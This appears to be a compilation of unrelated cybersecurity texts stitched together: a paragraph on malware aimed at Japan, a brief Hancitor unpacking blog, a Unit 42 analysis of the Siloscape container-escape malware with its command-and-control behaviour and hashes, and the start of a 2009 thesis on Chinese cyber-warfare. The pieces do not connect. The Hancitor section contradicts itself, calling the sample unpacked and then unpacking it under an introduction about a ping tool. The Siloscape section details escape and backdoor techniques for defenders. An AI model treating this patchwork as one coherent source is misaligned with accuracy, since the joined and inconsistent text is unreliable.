In 2019, threats specific to Japanese organizations and business interests, whether abusing Japanese brands or geo-targeted malware and credential phishing campaigns, mean that defenders at companies within Japan must be cognizant of highly targeted attacks as well as broad-based international attacks. Ursnif and the Emotet botnet are the most prevalent malware threats affecting Japan, creating palpable risks for organizations and individuals by utilizing compelling lures and sophisticated social engineering mechanisms. While Japan-targeted threats are not new, URLZone in particular, with its unique application by a single prolific actor in the region, sets Japan apart from other geographies. The Japanese language also creates unique challenges for non-native speakers in crafting effective social engineering approaches, but high volumes of Ursnif and Emotet suggest that financially motivated actors may have “cracked the code,” creating emerging risks for defenders, organizations, and consumers in the region. As always, a combination of layered defenses and end user education is critical to protecting data, intellectual property, and critical infrastructure in the face of increasing attacks targeting the region. |
# Unpacking Hancitor Malware
**Muhammad Hasan Ali**
**Malware Analysis learner**
**January 8, 2022**
**1 minute read**
As-salamu Alaykum
## Introduction
Hancitor is an information stealer and malware downloader used by a threat actor designated as MAN1, Moskalvzapoe, or TA511. In a threat brief from 2018, we noted Hancitor was relatively unsophisticated, but it would remain a threat for years to come. Approximately three years later, Hancitor remains a threat and has evolved to use tools like Cobalt Strike. In recent months, this actor began using a network ping tool to help enumerate the Active Directory (AD) environment of infected hosts. This blog illustrates how the threat actor behind Hancitor uses the network ping tool, so security professionals can better identify and block its use.
**MD5:** FF9D0327538AB33468A8AD2142EFF416
## Packed Indicators
If we open it in DiE or pestudio we will notice that it’s not packed. Another way to detect packing is to open it in IDA and if you see a lesser number of functions then it’s packed.
### Unpacking Process
How unpacking works? Well, the packing process depends on the packer. So each packer has a different unpacking routine. In this sample, we will begin by setting two breakpoints in VirtualAlloc and VirtualProtect. Then run F9 to hit the first breakpoint and then run again to hit the second one which is VirtualAlloc. Then step over F8 to the call of VirtualAlloc. Then dump EAX.
Then run again to get to VirtualAlloc the second time and see what dump has.
We keep pressing run to hit the breakpoint of VirtualAlloc seven times. After that, we hit run again. We will see our unpacked exe in the dump. Then we follow in Memory map and save to file. The image base is 230000.
### Unmap the Unpacked File
To get imports of the unpacked file, we need to repair the section headers. After unmapping, you can see imports and libraries.
**Article quote:**
ماﺮُﯾ ﺎﻣ ﻰﻠﻋ ةﺎﯿﺤﻟا ﻦﻜﺗ ﻢﻟ اذإ ﻢﻬﯾ اذﺎﻣو |
# Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments
**By Daniel Prizmant**
**June 7, 2021**
**Category:** Cloud, Malware, Unit 42
**Tags:** containers, Kubernetes, Siloscape
## Executive Summary
In March 2021, I uncovered the first known malware targeting Windows containers, a development that is not surprising given the massive surge in cloud adoption over the past few years. I named the malware Siloscape (sounds like silo escape) because its primary goal is to escape the container, and in Windows this is implemented mainly by a server silo.
Siloscape is heavily obfuscated malware targeting Kubernetes clusters through Windows containers. Its main purpose is to open a backdoor into poorly configured Kubernetes clusters in order to run malicious containers. Compromising an entire cluster is much more severe than compromising an individual container, as a cluster could run multiple cloud applications whereas an individual container usually runs a single cloud application. For example, the attacker might be able to steal critical information such as usernames and passwords, an organization’s confidential and internal files or even entire databases hosted in the cluster. Such an attack could even be leveraged as a ransomware attack by taking the organization's files hostage. Even worse, with organizations moving to the cloud, many use Kubernetes clusters as their development and testing environments, and a breach of such an environment can lead to devastating software supply chain attacks.
Siloscape uses the Tor proxy and an .onion domain to anonymously connect to its command and control (C2) server. I managed to gain access to this server. We identified 23 active Siloscape victims and discovered that the server was being used to host 313 users in total, implying that Siloscape was a small part of a broader campaign. I also discovered that this campaign has been taking place for more than a year.
This report provides background on Windows container vulnerabilities, gives a technical overview of Siloscape, and offers recommendations on best practices for securing Windows containers. Palo Alto Networks customers are protected from this threat with Prisma Cloud’s Runtime Protection features.
## Windows Server Container Vulnerabilities Overview
On July 15, 2020, I released an article about Windows container boundaries and how to break them. In that article, I presented a technique for escaping from a container and discussed some potential applications that such an escape can have in the hands of an attacker. The most significant application, and the one I chose to focus on, was an escape from a Windows container node in Kubernetes in order to spread in the cluster.
Microsoft originally didn’t consider this issue a vulnerability, based on the reasoning that Windows Server containers are not a security boundary, and therefore each application that is being run inside a container should be treated as if it is executed directly on the host. A few weeks after that discussion, I reported the issue to Google because Kubernetes is vulnerable to those issues. Google contacted Microsoft, and after some back and forth, it was determined by Microsoft that an escape from a Windows container to the host, when executed without administrator permissions inside the container, will in fact be considered a vulnerability.
Following this, I discovered Siloscape, which is malware that actively attempts to exploit Windows Server containers in the wild. Siloscape is heavily obfuscated malware targeting Kubernetes through Windows containers (using Server Containers and not Hyper-V). Its main purpose is to open a backdoor into poorly configured Kubernetes clusters in order to run malicious containers such as, but not limited to, cryptojackers.
The malware is characterized by several behaviors and techniques:
- Targets common cloud applications such as web servers for initial access, using known vulnerabilities (“1-days”) – presumably those with a working exploit in the wild.
- Uses Windows container escape techniques to escape the container and gain code execution on the underlying node.
- Attempts to abuse the node's credentials to spread in the cluster.
- Connects to its C2 server using the IRC protocol over the Tor network.
- Waits for further commands.
This malware can leverage the computing resources in a Kubernetes cluster for cryptojacking and potentially exfiltrate sensitive data from hundreds of applications running in the compromised clusters. Investigating the C2 server showed that this malware is just a small part of a larger network and that this campaign has been taking place for over a year. Furthermore, I confirmed that this specific part of the campaign was online with active victims at the time of writing.
## Technical Overview
Before diving into the technical details of Siloscape, it is important to get a better understanding of its overall behavior and flow.
1. The attacker achieves remote code execution (RCE) inside a Windows container using a known vulnerability or a vulnerable web page or database.
2. The attacker executes Siloscape (CloudMalware.exe) with the necessary C2 connection information provided as command line arguments (and not hardcoded inside the binary).
3. Siloscape impersonates CExecSvc.exe to obtain SeTcbPrivilege privileges (this technique is described in detail in my previous article).
4. Siloscape creates a global symbolic link to the host, practically linking its containerized X drive to the host’s C drive.
5. Siloscape searches for the kubectl.exe binary by name and the Kubernetes config file by regular expression on the host, using the global link.
6. Siloscape checks if the compromised node has enough privilege to create new Kubernetes deployments.
7. Siloscape extracts the Tor client to the disk from an archived file using an unzip binary. Both files are packed into the main Siloscape binary.
8. Siloscape connects to the Tor network.
9. Using the provided command line argument, Siloscape decrypts the C2 server’s password.
10. Siloscape connects to the C2 server using an .onion domain (a domain accessible through the Tor network) provided as a command line argument.
11. Siloscape waits for commands from the C2 and executes them.
Unlike other malware targeting containers, which are mostly cryptojacking-focused, Siloscape doesn’t actually do anything that will harm the cluster on its own. Instead, it focuses on being undetected and untraceable and opens a backdoor to the cluster.
## Defense Evasion and Obfuscation
Siloscape is heavily obfuscated. There are almost no readable strings in the entire binary. While the obfuscation logic itself isn’t complicated, it made reversing this binary frustrating. Even simple API calls were obfuscated, and instead of just calling the functions, Siloscape made the effort to use the Native API (NTAPI) version of the same function.
For example, instead of calling CreateFile, Siloscape calls NtCreateFile. Instead of calling NtCreateFile directly, Siloscape calls it dynamically, meaning it searches for the function name in ntdll.dll at runtime and jumps to its address. Not only that, but it also obfuscates the function and module names and deobfuscates them only at runtime. The end result is malware that is very difficult to detect with static analysis tools and frustrating to reverse engineer.
Siloscape uses a pair of keys to decrypt the C2 server’s password. One of the most important features of its obfuscation is that one key is hardcoded into the binary, while the other is supplied as a command line argument. I searched for its hash in multiple engines, such as AutoFocus and VirusTotal, and couldn’t find any results. This led me to believe that Siloscape is being compiled uniquely for each new attack, using a unique pair of keys. The hardcoded key makes each binary a little bit different than the rest, which explains why I couldn’t find its hash anywhere. It also makes it impossible to detect Siloscape by hash alone.
Another interesting technique this malware uses is Visual Studio’s Resource Manager. This is a feature built into Visual Studio that allows one to attach basically any file to the original binary and get a pointer to its data with a few simple API calls. Siloscape uses this method to write the Tor archive to the disk, as well as the unzip binary used to open the archive. It also uses Tor to securely connect to its C2.
## The Container Escape
One of the more interesting things about Siloscape is the way it escapes the container. To execute the system call NtSetInformationSymbolicLink that enables the escape, one must gain SeTcbPrivilege first. There are a few ways to do this. For example, in my tests, I injected a DLL into CExecSvc.exe, which has the relevant privileges, and executed NtSetInformationSymbolicLink from the CExecSvc.exe context. Siloscape, however, uses a technique called Thread Impersonation. This method has little documentation online and even fewer working examples. The most critical function for this technique is the undocumented system call NtImpersonateThread.
Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container. More specifically, it links its local containerized X drive to the host’s C drive.
## Choosing the Cluster
After Siloscape creates a link to the host, it will search for two specific files: kubectl.exe and the Kubernetes config file, which normally exists on Kubernetes nodes. Siloscape searches for kubectl.exe by name and the config file using a regular expression. The search function takes an extra argument: a pointer to a vector that holds folder names to exclude from the search.
When it calls FindFile to search for the above files, it excludes the folders Program Files, Program Files (x86), Windows, and Users. It does this to make the search faster and because it is unlikely the previously mentioned files are in those folders. If both files are found, their paths are saved to a global variable. If the files are not located, Siloscape exits, abandoning the attack.
After Siloscape finds everything it needs to execute kubectl commands, it continues to check if the compromised node actually has enough permissions to use for the attacker’s malicious activities. It does this by executing the kubectl command `%ls auth can-i create deployments --kubeconfig=%ls` where the strings in the format are replaced by the paths it saved earlier as global variables.
## Connecting to the C2 and Supported Commands
After getting everything it needs and checking that the compromised node is indeed capable of creating new deployments, Siloscape writes the Tor archive (ZIP) and an unzip binary to the host’s C drive. After extracting Tor, it launches tor.exe to a new thread and waits for it to finish by checking the Tor thread output.
After Tor is up and running, Siloscape uses it to connect to its C2 – an IRC server, using an onion address that was provided as a command line argument. The server is password-protected. Siloscape uses its first command line argument to decrypt the password by a simple byte by byte XOR.
Once successfully connected to the IRC server, it issues a `JOIN #WindowsKubernetes` command to join the WindowsKubernetes IRC channel and then idles there. Siloscape allows two types of instructions, one for kubectl supported commands and one for regular Windows cmd commands.
It waits for a private message. If one from a user named admin is received, Siloscape follows the following logic:
- If the message starts with a K, it executes a kubectl command to the cluster using the paths it found earlier by running the command `%ls %s --kubeconfig=%ls` where:
- The first parameter is the global variable of the kubectl’s path.
- The second parameter is the message from the admin minus the first character.
- The third parameter is the global variable of the config’s path.
- If the message starts with a C, it simply runs the command minus the first character as a regular Windows cmd command.
## Command and Control
After I reversed the malware, especially the part that handles the C2, I wanted to discover whether this campaign was still up and running. I set up a brand new virtual machine, downloaded Tor, and started looking for an IRC client that supports SOCKS5, the proxy protocol that is needed in order to connect through Tor. IRC is a very old protocol and is less popular today than it was 20 years ago. Furthermore, IRC came out almost a decade before SOCKS5. I found HexChat, a simple, lightweight IRC client that supports both SOCKS5 and connecting to onion domains.
When our Siloscape sample was originally executed, its command line argument for the IRC username was php_35, so I decided to use this username when connecting to the C2 server from HexChat, thinking it would appear legitimate to the attacker. I connected to the server and discovered it was still working. I joined #WindowsKubernetes just like Siloscape does. There were 23 active victims there and a channel operator named admin.
Unfortunately, after about two minutes, I was noticed and kicked out of the server. Two minutes after that, the server was no longer active – at least not at the original onion domain I used.
## What Can We Learn?
When I went over my findings, the first thing that came to mind is that there were many more active users on the C2 server than I actually saw in the #WindowsKubernetes channel – 313 users in total, to be exact. This implies that the Siloscape malware was just a small part of a bigger campaign. Sadly, when I connected to the server, the channels list was empty, indicating that the server was configured to not reveal its channels. Therefore, I couldn’t get more information from the channel names.
The second and more important detail that stood out was the convention used for the victims’ names. Our name was php_35, and when our sample of Siloscape first executed, it indeed was executed through a vulnerable php instance. The other names clearly suggest the way the attacker managed to achieve code execution (sqlinj probably means SQL injection):
- @admin
- sqlinj_64
- sqlinj_51
- php_34
- weblogic_12
- sqlinj_138
- weblogic_19
- php_66
- sqlinj_87
- sqlinj_8
- sqlinj_33
- sqlinj_114
- activemq_5
- sqlinj_44
- tomcat_9
- sqlinj_52
- sqlinj_107
- redis_10
- php_76
- sqlinj_28
- activemq_25
- php_8
- weblogic_31
- php_35
The last piece of information I was able to obtain from the C2 is the creation date of the server: Jan. 12, 2020. Note that this doesn’t necessarily mean that Siloscape was created on that date. Instead, it’s likely the campaign started at that time.
## Conclusion
Unlike most cloud malware, which mostly focuses on resource hijacking and denial of service (DoS), Siloscape doesn’t limit itself to any specific goal. Instead, it opens a backdoor to all kinds of malicious activities.
As discussed in my last article, users should follow Microsoft’s guidance recommending not to use Windows containers as a security feature. Microsoft recommends using strictly Hyper-V containers for anything that relies on containerization as a security boundary. Any process running in Windows Server containers should be assumed to have the same privileges as admin on the host, which in this case is the Kubernetes node. If you are running applications in Windows Server containers that need to be secured, we recommend moving these applications to Hyper-V containers.
Furthermore, administrators should make sure their Kubernetes cluster is securely configured. In particular, a secured Kubernetes cluster won’t be as vulnerable to this specific malware as the nodes’ privileges won’t suffice to create new deployments. In this case, Siloscape will exit.
Siloscape shows us the importance of container security, as the malware wouldn’t be able to cause any significant damage if not for the container escape. It is critical that organizations keep a well-configured and secured cloud environment to protect against such threats. Existing Prisma Cloud capabilities will successfully detect and mitigate the Siloscape malware.
## Indicators of Compromise
| Description | SHA256 |
|-------------|--------|
| Our Siloscape variant | 5B7A23676EE1953247A0364AC431B193E32C952CF17B205D36F800C270753FCB |
| unzip.exe, the unzip binary Siloscape writes to the disk | 81046F943D26501561612A629D8BE95AF254BC161011BA8A62D25C34C16D6D2A |
| tor.zip, the tor archive Siloscape writes to the disk | 010859BA20684AEABA986928A28E1AF219BAEBBF51B273FF47CB382987373DB7 | |
# Declawing the Dragon: Why the U.S. Must Counter Chinese Cyber-Warriors
A thesis presented to the Faculty of the U.S. Army Command and General Staff College in partial fulfillment of the requirements for the degree MASTER OF MILITARY ART AND SCIENCE Strategy and Space by JORGE MUÑIZ, JR., LCDR, USN B.S., New York Institute of Technology, New York, 1998 Fort Leavenworth, Kansas 2009
Approved for public release; distribution is unlimited.
## Abstract
To what extent do the Chinese cyber-warriors—within the People’s Liberation Army along with both state and non-state sponsored hackers/crackers—represent a viable threat to both the security and prosperity of our nation as a whole? In the past several years, the Chinese have developed a myriad of both lethal and non-lethal cyber-weapons with the intention of denying or degrading an adversary’s ability to use space-based intercommunication network platforms. The PRC and PLA have demonstrated a rapid expansion of their asymmetric operations, especially in the realm of Cyberspace. This paper will seek to ascertain the United States military’s ability to defend and enforce our national interests, both in regards to our own domestic infrastructures as well as our partners abroad from Chinese-directed cyber-attacks.
## Acknowledgments
First and foremost, I would like to express my deepest appreciation to my family for their support throughout this past year. To my beautiful wife, Michelle, thank you for your undying patience and resilience, for pushing me to keep focused and on track, for believing in me, even when I didn’t believe in myself, and for putting up with all my senseless U.S.-China tirades over hundreds of lunches and dinners. Everything I’ve accomplished is because of you and your never-ending support, so dedicating this thesis to you is only a small token of my gratitude. To both our sons, Xavier and Ethan, thank you for your understanding and consideration during the long nights spent at the library with a mountain of lifeless books instead of fishing or playing ball.
To my Thesis Committee, I wish to extend my sincere gratitude for each of your respective knowledge, expertise, and guidance throughout the year. For my Chair, Colonel Parks, thank you for keeping me on point, preventing my thesis from digressing down a China-Taiwan rat hole. For Tim Thomas, thank you for your inspiring books that stirred me over five years ago to pursue further knowledge in this field of study. Finally, to Bob King, thank you for jumping in at the last minute to save my paper from utter destruction.
Last, but not least, to all my U.S./Singaporean Army brethren and our one token Air Force Major in Staff Group 14D, I’ve learned more this year than I ever thought I could. Each of you had more than a little part to do with this thesis, whether through loaning books, sharing your China-related knowledge and experiences with me, proofreading poorly written pages but encouraging me to not give up, or even arguing with me incessantly on the validity of the term “kinetic operations.” Thank you!
## Chapter 1: Introduction
The purpose of this paper is to determine to what extent the Chinese cyber-warriors—within the People’s Liberation Army (PLA) along with both state and non-state sponsored hackers/crackers—represent a viable threat to both the security and prosperity of our nation as a whole. Additionally, this paper will seek to ascertain the United States military’s ability to defend and enforce our national interests, both in regards to our own domestic infrastructures as well as our partners abroad, from Chinese-directed cyber-attacks, with special focus given to those systems critical to the Soldier on the battlefield. Finally, the paper will evaluate legal precedent, both internationally and domestically, in order to determine viable courses of action when confronted with an escalation of force in Cyberspace.
There are many secondary questions which arise from the aforementioned thesis statements, such as how will China signal intent in situations involving their cyber-warfare capabilities? What thresholds should be established for an appropriate military response and what assets or tools do we have at our disposal to respond to these threats? If our current status or structure is insufficient, how does one propose reinforcing our U.S. Government capabilities to counter a Chinese threat?
Based on the subject matter in question, it is critical first and foremost that one clearly defines two major topics that are to be repeated throughout the thesis. First, on the term Cyberspace, Joint Publication 1-02 (as of October 2008) defines it as: A global domain within the information environment consisting of the interdependent network of information technology infrastructures, including the Internet, telecommunications networks, computer systems, and embedded processors and controllers. This definition, however, is not a delimiter to the extent of what Cyberspace actually is. As such, and for the purposes of the remainder of this thesis, Cyberspace will encompass not only the actual military and civil electronics devices, but also the electromagnetic spectrum on which the information (be it either Command, Control, Communications, or Intelligence: C3I) travels to or from the end users. Additionally, the domain of Cyberspace must include the medium through which the C3I travels, be it wired, wireless, or space; and the associated defenses thereof. Therefore, space-based platforms along with their associated land-based controllers also reside in the Cyberspace domain. Finally, Cyberspace must include the physical platforms used to store, modify, and exchange data via networked systems and associated physical infrastructures.
A second critical concept to understand up front, especially when evaluating the likelihood of a Chinese cyber-attack, is that of the assassin’s mace (shashoujian). The PLA endeavors for high-tech gear and knowledge; their focus is on six major areas, however the two directly related to this thesis are: military information technology and military space technology. The PLA understands the role revolutions in military affairs have played in history, and they seek to identify those new combat methods that represent China’s future “shock and awe;” devastating enough to deter any further U.S. military action in a crisis, but clearly decisive in its use of surprise. PLA Colonels Li Daguang and Jia Junming have both publicly urged the development of an assassin’s mace to “meet the requirements of defeating the United States in a war over Taiwan.”
Several major issues surfaced in 1999 when the PLA began incorporating offensive computer network operations (CNO) into military exercises, “primarily in first-strike tactics against enemy networks.” The Chinese government, the People’s Republic of China (PRC), has even issued a Chinese Defense Policy white paper that confirms what the U.S. Government has known for some time, that “[t]he PLA is carrying out a strategic project for training a large contingent of new-type and high-caliber military personnel… competent for operational tasks under conditions of informationization.” From the U.S. perspective, in 2007 General James Cartwright, Vice Chairman of the Joint Chiefs of Staff, confirmed that “China is actively engaging in cyber-reconnaissance of U.S. Government agencies.” Meanwhile, underground civilian organizations, from The Green Army to the likely state-sponsored Red Hacker Alliance (RHA), have participated in corporate and industrial espionage by “scanning for weaknesses in Pentagon information systems ‘for fun.’”
The problem with Chinese cyber-warriors is that the U.S. military relies heavily on unrestricted intercommunications networks, both military-controlled as well as non-military commercial systems, so too must we ensure their proper defense. However, in the past several years, the Chinese have developed a myriad of both lethal and non-lethal cyber-weapons with the intention of denying or degrading an adversary’s ability to use space-based intercommunication network platforms. The PRC and PLA have demonstrated a rapid expansion of their asymmetric operations, especially in the realm of Cyberspace. What courses of action does the U.S. have prepared in the event of a Chinese cyber-war?
### The Chinese Cyber-threat
The U.S. economy and national security are fully dependent upon information technology and the information infrastructure. Terrorists might attempt cyber attacks to disrupt critical information networks or attempt to cause physical damage to information systems that are integral to the operation of commerce systems. Tools and methodologies for attacking information systems are becoming widely available, and the technical abilities and sophistication of terrorist groups bent on causing havoc or disruption is increasing.
Having frequently been the target of several CNE attempts originating from PLA training centers to Beijing cyber-cafés, the U.S. has sustained damages ranging from Zero-Day Exploits to Distributed Denial of Service (DDoS) attacks to Reverse Shell espionage. Unfortunately, the successful targets of such attacks have included the U.S. Department of Defense (DoD), the U.S. Department of State, and multiple private sector corporations. As recently as 06 March 2009, Canadian researcher Nart Villeneuve uncovered a network, dubbed GhostNet, of more than 1,200 infected computers worldwide which were unequivocally directed through servers located in China (one was controlled by a Chinese government server located in Hainan Island, a known PLAN submarine base).
In addition to traditional computer targets such as the DoD’s Non-Secure Internet Protocol Router Networks (NIPRNET), there are several non-traditional cyber-targets such as our U.S. satellite networks and military-grade electronic emissions that are paramount on the Chinese researcher’s mission-set. Target sets such as these fall well outside the traditional hacker’s capabilities. However, the PLA under their new directives have been feverishly developing anti-satellite capabilities of a lethal nature. From directed-energy (DE) high-powered microwave disruptors to free-electron and high energy lasers, and from the lethal demonstrations of a DF-21 missile shoot-down of one of their own aging weather satellites to the mass development of $800 briefcase-sized transient electromagnetic devices (TED), the face of warfare has changed.
As such, the U.S. military has made changes to expand beyond the operational concepts of strictly independent CNO, Electronic Warfare (EW), and Space Operations to instead be incorporated within the overarching and ethereal, but “physical,” domain of Cyberspace. Not dissimilar to the domains of Land, Sea, and Air. There are now three mission areas in Cyberspace: counter-cyber operations, cross-domain operations, and support to civil authorities and the defense industry.
This paper ultimately seeks to answer whether the U.S. military is capable of defending our national interests both domestically and abroad against a cyber-attack originating from Chinese cyber-warriors, either state-sponsored or PLA-trained. Unfortunately, in this world of interdependent markets and economies on a truly global scale, those who would rely solely upon the benefits of the worldwide telecommunications network inevitably create vulnerabilities for themselves. The same holds true for the Soldier or Marine relying on Blue Force Tracker for Command and Control (C2), GPS for navigation, INMARSAT for communication, or Predator feeds for situational awareness… or the Sailor relying on Naval Tactical Data Systems (NTDS) for over-the-horizon targeting, Bridge to Bridge (B2B) for maritime navigation, Voyage Management System (VMS) for transit routing, or the Global Command and Control System (GCCS) for situational awareness and command and control (C2). While each method rides over different mediums and on different frequencies, each taking up different quantities of bandwidth, they all reside in the aforementioned domain of Cyberspace.
### The Nationalist Cyber-Terrorist
The Chinese hacker origins date back to 1994 when the Internet first became available to the PRC. Back then, access was severely limited to those with enough money to afford, and patience to endure, the 9,600 bit/sec modems. This access was further limited to Bulletin Board Systems, the precursor to the World Wide Web. Chinese restrictions on Internet access were lifted two years later, bringing the Internet into the homes of millions. It was the following year, 1997, that the Green Army was founded. Self-proclaimed as one of China’s earliest hacker organizations with a membership of over 3,000 people from Shanghai, Beijing, and Shijaizhuang, this “enduring symbol of the Chinese hacker movement” disbanded in 2000 due to financial hardship. However, this was not before a loose quasi-coalition of confederated hackers joined forces in response to the 1998 riots in Jakarta, Indonesia.
Blaming the PRC for their out-of-control inflation, the citizens of Indonesia directed a massacre against their own Chinese nationals. The Chinese government chose to filter the incident from public view, but not before the atrocities were broadcast over the Internet. Essentially, a virtual Chinese Hacker’s Emergency Conference was held resulting in a military-type cyber-envelopment using e-mail Logic Bombs. Postings on many major Indonesian websites included such: “Your site has been hacked by a group of hackers from China. Indonesian thugs, there can be retribution for your atrocities, stop slaughtering the Chinese people.”
Seeing this as a viable, non-lethal alternative to protracted conflicts, the PRC began emphasizing a concept of Comprehensive National Power whereby both the military and the civilian roles become integrated on behalf of the nation. State-sponsored, but civilian, organizations quickly and gladly assumed the role of protector of national interests. Chinese hacker groups such as the Honker Union of China, the Red Hacker Alliance, and the Chinese Red Guest Network Security Technology Alliance would seek out targets of opportunity to attack. It was therefore only a matter of time before the U.S. Armed Forces became the targets of their coordinated wrath.
In 1999, after U.S. planes bombed Beijing’s embassy in Belgrade, Chinese hackers quickly commenced cyber-battles with their respective U.S. counterparts. In 2001, following the mid-air collision of a U.S. EP-3 and a Chinese AN-124 on April 1st, the ensuing political conflict between the two powers prompted Chinese nationalists to rise up once again. Hackers soon after organized a massive week-long campaign of cyber-attacks against over 1,200 U.S. sites to include the White House, U.S. Air Force, Department of Energy, Department of Labor, and Department of Health and Human Services.
### Assumptions
There are several assumptions that must be presented up front if we are to presume this thesis to be valid. First, the PRC has actively exploited the Microsoft Office source codes with the malicious intent of using them against the United States Government. Additionally, the PRC sees cyber-warfare as a first-strike option and is training and equipping the PLA in the conduct of such. With regards to Chinese “hacktivism,” despite the fact that DoD and security officials remain divided over (1) whether the known cyber-attacks are coordinated or sponsored by the Chinese government, (2) whether they are the work of individual and independent hackers, or (3) whether the cyber-attacks are being initiated by some third-party organization that is using network servers in China to disguise the true origins of the attacks, this thesis must assume at a minimum that the PRC is either fully aware of their existence or actually provides the mechanisms for their actions through either financial, informational, or via protection of those non-military individuals with the specific intent that they continue to conduct both Computer Network Exploitations (CNEs) and CNAs against the U.S. Government.
### Limitations
In limiting the depth of this thesis, the focus will primarily be on those cyber-activities between the U.S. and China when not involved in an official state of war or involved in undeclared conflict. That implies that the thesis will not cover those PRC activities intended to assist non-state actors through funding, intelligence, or protection by the PRC and whose cyber-goals are operations intended to probe or attack the U.S. In addition, it will not evaluate the use of force by the U.S. military against recreational hackers, terrorists, or organized cyber-criminals as those comprise a law enforcement issue which must be addressed through bilateral extradition vice military action.
Another limitation is that all discussions will be restricted to actions initiated from within the borders of China. Therefore, U.S.-originated domestic cyber-activities will not be included; this consists of those domestic actions that are of direct assistance in a coordinated Chinese cyber-attack. Domestic CNE, even in direct support of a coordinated Chinese cyber-attack, will also not be discussed because it is a domestic law enforcement issue. Neither will any other aspect of Information Operations (IO, Military Deception, Psychological Operation, or Operational Security) be discussed with the exception of how cyber-activities can be used to support IO.
### Background: Taiwan and the Prelude to Cyber-War
It would be a stretch to imply that current cyber-tensions between the U.S. and China are simply due to the continued existence of the island-nation of Taiwan. However, it would also be a mistake to completely dismiss the events which have shaped the environment in the Far East since World War II. That said, in 1949 the former leader of China, Chiang Kai-shek, fled mainland China and relocated the Republic of China’s (ROC) seat of government to the island of Taiwan, formerly known as Formosa. Kai-shek continued to claim sovereignty over all of mainland China from his island-hideout in Taipei, Taiwan.
Mainland China, however, had other plans for the island following the Chinese Civil War in 1949, in which the victorious Communist Party of China gained complete control under Mao Zedong. Mao moved to establish the People’s Republic of China (PRC) and claim sole representation of China to include Taiwan, to which Zedong would assert, was illegitimately led. Taiwan remained under martial law from 1948 until 1987, when Chiang Kai-shek’s eventual successor, Lee Teng-hui, began the gradual democratization and liberalization of the ROC’s governmental system. However, it was then that the controversial issues surrounding the political status of the Taiwanese government resurfaced. Beginning with the banking system, Teng-hui authorized the printing of banknotes from the Central Bank rather than the Provincial Bank of Taiwan. Soon after, President Teng-hui forced the disbanding of the Taiwan Provincial Government as well as demanding the resignations of the Legislative Yuan and National Assembly, both of whom were established in 1947 to represent mainland Chinese constituencies. Finally, Teng-hui lifted all restrictions on the use of the Taiwanese language in both broadcasting and schools.
This entire discussion of Taiwan, including their assertions of sovereignty from mainland China, ultimately resulted in one of the most significant military standoffs involving the U.S. and China. The root cause stemmed from a simple visit to Cornell University by the President of Taiwan, Lee Teng-hui. The PRC took this visit as a serious affront to their communist-orthodox definition of what Taiwan’s place in the world was. The PRC had expected that then-President Bill Clinton would block Lee’s visit for the betterment of U.S.-China relations, but he did not. China very soon thereafter became engaged in a series of aggressive military demonstrations involving the firing of six ballistic missiles impacting just 80 miles off the Taiwanese coast. President Clinton understood that he could no longer assume peace in the Taiwan Straits and that the seemingly innocent visit had triggered deep emotional reactions between the two sides, with the U.S. in the middle.
Believing power-projection to be the appropriate response to PRC aggression, U.S. leaders ordered two U.S. carrier strike groups to maneuver between the narrow waters separating Taiwan from mainland China—the Taiwan Straits. Lee sought to reassure the PRC that he did not intend to declare independence; Clinton sought to convince the PRC that we wanted to retain good relations with China, however, he was ready to defend Taiwan if needed.
## Chapter 2: Literature Review
The purpose of this paper is to determine to what extent the Chinese cyber-warriors represent a viable threat to both the security and prosperity of our nation as a whole. To shape this effort, Chapter 2 will introduce in detail a myriad of literature covering the three main cyber-threats originating from China; these are the People’s Republic of China, the PLA, and the state-sponsored Chinese nationalist (or Honker). Each will be covered in the sub-chapter of China on China.
The paper, more importantly, seeks to ascertain our ability to defend and enforce our national interests, both in regards to our own domestic infrastructures, as well as our partners abroad, from Chinese-directed cyber-attacks. To that end, this chapter will also cover the current legal implications both domestically and internationally with regards to the U.S. military and their use of force in Cyberspace. Additionally, the literature review will also incorporate those specific national interests that would require defending with respect to Cyberspace both domestically and abroad.
Chapter 2 is broken down into three distinct sub-chapters representing either their author’s predominant point of view or their primary literature’s focus and they are labeled: China on China, United States’ Perception of China, and finally, United States on the United States. This holistic approach is intended to not only satisfy the requirement of a literature review, but also to shape the reader’s understanding as to the depth and give the reader insight into the complex nature that is Cyberspace.
### China on China
This sub-chapter will review the literature originating from within the borders of China and specifically those books or articles covering such topics as the leadership within the PRC and the guiding Generals within the PLA who execute their direction. First of all, it is important to note that the PLA publishing system consists of 28 publishing houses; 16 newspapers (such as PLA Daily); and hundreds of periodicals (such as China Militia and China Air Force). Their breadth represents an essential component of the PLA’s ability to function as an institution. Unfortunately, for the purposes of research, it is important to note that the PLA publishing system has also been used to exercise political control and disseminate propaganda to both the Chinese population as well as to the rest of the world, to maintain organizational cohesion amongst the PLA services, to reform and modernize their officer corps through professional development, and to serve as civil-military proxy between the civilian population and the PLA that are tasked to defend them. The PLA leadership views propaganda as a capability through which they can externalize their “soft power” while countering negative criticism.
### PLA on Unrestricted Warfare
Rarely, a whole book manages to either circumvent the GPD vetting process, or is intentionally released for psychological purposes in an effort to satisfy United Nations (U.N.) Resolution 35/142B (Military Transparency). One such book, *Unrestricted Warfare* (超限战, literally "warfare beyond bounds") was initially published by the PLA Literature and Arts Publishing House in Beijing, and therefore suggests that it was endorsed at least by some elements of the PLA leadership. It is a book on military strategy that was authored, in part, as a response to the PLA’s fascination with our successes in the first Gulf War. Written in 1999 by two colonels in the PLAAF, Qiao Liang and Wang Xiangsui, it reveals how China believes it can overcome our military’s technological advantages and defeat the U.S. through a myriad of “total warfares;” the two of which most directly apply to this thesis: technology warfare and network warfare. However, Qiao and Wang are not so rudimentary as to stop there. They go on to overtly imply, for example, that the attacking side of two developed nations might employ strictly military force-on-force techniques that incorporate “satellite reconnaissance, electronic countermeasures, large-scale air attack plus precision attacks, ground outflanking, amphibious landings, and air drops behind enemy lines.” Contrary to the force-on-force, they suggest a better alternative in the form of a “combination method” that includes not only military techniques, but also trans-military and non-military capabilities. They therefore suggest that:
> If the attacking side secretly musters large amounts of capital without the enemy nation being aware of this at all and launches a sneak attack against its financial markets, then after causing a financial crisis, buries a computer virus and hacker detachment in the opponent’s computer system in advance, while at the same time carrying out a network attack against the enemy so that the civilian electricity network, traffic network, and mass media network are completely paralyzed, this will cause the enemy nation to fall into social panic, street riots, and a political crisis.
This example ends with the attacking military force bearing down on the vanquished foe until a “dishonorable peace treaty” is signed. This is the crux of *Unrestricted Warfare* and the Chinese cyber-warrior represents the first in a line of viable “combinations” that can be used against the U.S. and her allies.
